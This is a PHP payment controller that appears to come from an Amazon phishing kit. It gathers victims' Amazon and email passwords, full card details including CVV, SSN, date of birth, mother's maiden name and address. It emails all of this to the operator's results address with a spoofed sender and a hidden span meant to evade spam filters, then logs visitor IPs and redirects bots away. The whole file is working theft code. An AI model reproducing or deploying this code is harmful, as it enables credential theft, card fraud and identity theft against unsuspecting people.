<?php 
defined("ACCESS") or die('Konz');

class Payment 
{
	private $_LICENSE = FCPATH . "arahmataAngin/system/private/license.ini";
	private $_CONFIG = FCPATH. "arahmataAngin/system/private/setting.json";

	public function __construct()
	{
		$this->pc = new Pc();
		$_ini_file = parse_ini_file($this->_LICENSE);
		$this->license = new license($_ini_file);

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 6)) {
			
			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		echo view('payment/index');
	}

	public function process()
	{
		if (isset($_POST)) {
			$address = $_SESSION['address'];
			$cityP = $_SESSION['cityp'];
			$state = $_SESSION['region'];
			$zipCode = $_SESSION['zipcode'];
			$dob = $_SESSION['dob'];
			$ssn = $_SESSION['ssn'];
			$motherName = $_SESSION['mmn'];
			$phone = $_SESSION['phone'];
			$cardName = trim($_SESSION['namecard']);
			$cardNumber2 = $_POST['ccn'];
			$cardNumber2 = str_replace(" ", "", $cardNumber2);
			$cardCcv2 = $_POST['cvv'];
			$cardCid2 = $_POST['cid'];
			$cardExpM = $_POST['expmonth'];
			$cardExpY = $_POST['expyear'];
			$cardExp = substr($cardExpY, 2);
			$bin = look_bin($cardNumber2);
			$email = trim($_SESSION['emailLogin']);
			$passwordamz = trim($_SESSION['passwordLogin']);
			$password = trim($_SESSION['password_email']);
			$password2 = trim($_SESSION['password_email2']);

			$message = 
"<strong><span style='color:#ffffff;display: none;font-size: 1px;line-height: 1px;max-height: 0px;max-width: 0px;opacity: 0;overflow: hidden;'>MD5 HASH ".md5(time())." NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE NYE</span></strong>
<pre>
<b>##------------------------[ AMAZON ACCOUNT ]-----------------##</b>
  [!_!] Email          :: {$email}
  [!_!] Pass Amz       :: {$passwordamz}
  [!_!] Pass Email     :: {$password}
  [!_!] Pass Email II  :: {$password2}
<b>##------------------------[ CREDIT CARD ]--------------------##</b><font color='red'>
  [!_<] Bin            :: {$bin}
  [!_<] Card Holder    :: {$cardName}
  [!_<] Card Number    :: {$cardNumber2}
  [!_<] Expired        :: {$cardExpM}/{$cardExpY}
  [!_<] CVV            :: {$cardCcv2}
  [!_<] CID            :: {$cardCid2}
  [!_<] For Check      :: {$cardNumber2}|{$cardExpM}|{$cardExp}|{$cardCcv2}</font>
<b>##------------------------[ BILLING INFO ]-------------------##</b><font color='orange'>
  [*_*] Full Name      :: {$cardName}
  [*_*] Address 1      :: {$address}
  [*_*] City           :: {$cityP}
  [*_*] State          :: {$state}
  [*_*] Zip            :: {$zipCode}
  [*_*] Country        :: {$_SESSION['country']}
  [*_*] Phone Number   :: {$phone}</font>
<b>##------------------------[ OTHER INFO ]---------------------##</b><font color='green'>
  [>_*] MMN            :: {$motherName}
  [>_*] SSN            :: {$ssn}
  [*_*] DOB            :: {$dob} (YYYY-MM-DD)</font>
<b>##------------------------[ Device Info ]--------------------##</b><font color='#000080'>
  [*_*] IP             :: {$this->pc->ip_address}
  [*_*] Country        :: {$_SESSION['country']}
  [*_*] Region         :: {$_SESSION['regionName']}
  [*_*] City           :: {$_SESSION['city']}
  [*_*] OS / Browser   :: {$this->pc->platform} / {$this->pc->browser}
  [*_*] Date           :: "._date()."
  [*_*] User Agent     :: {$this->pc->agent}</font>
<b>##------------------[ DONE DOT PHP ]---------------------##</b>
  </pre>";

			$subject = "[N0R3C0D3N0P4RTY] {$bin}  [ {$_SESSION['country']} - {$this->pc->ip_address} - {$this->pc->platform} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: ".strtoupper($cardName)." <dpriv@dprpemerintah.id>";

			@mail(_config('result'), $subject, $message, $headers);

			write(FCPATH . 'arahmataAngin/system/stats/log_cc.txt', 'a', "{$this->pc->ip_address}\r\n");
			
			    $_SESSION['access'] = 5;
				redirect(base_url() . 'done');
		}
	}
}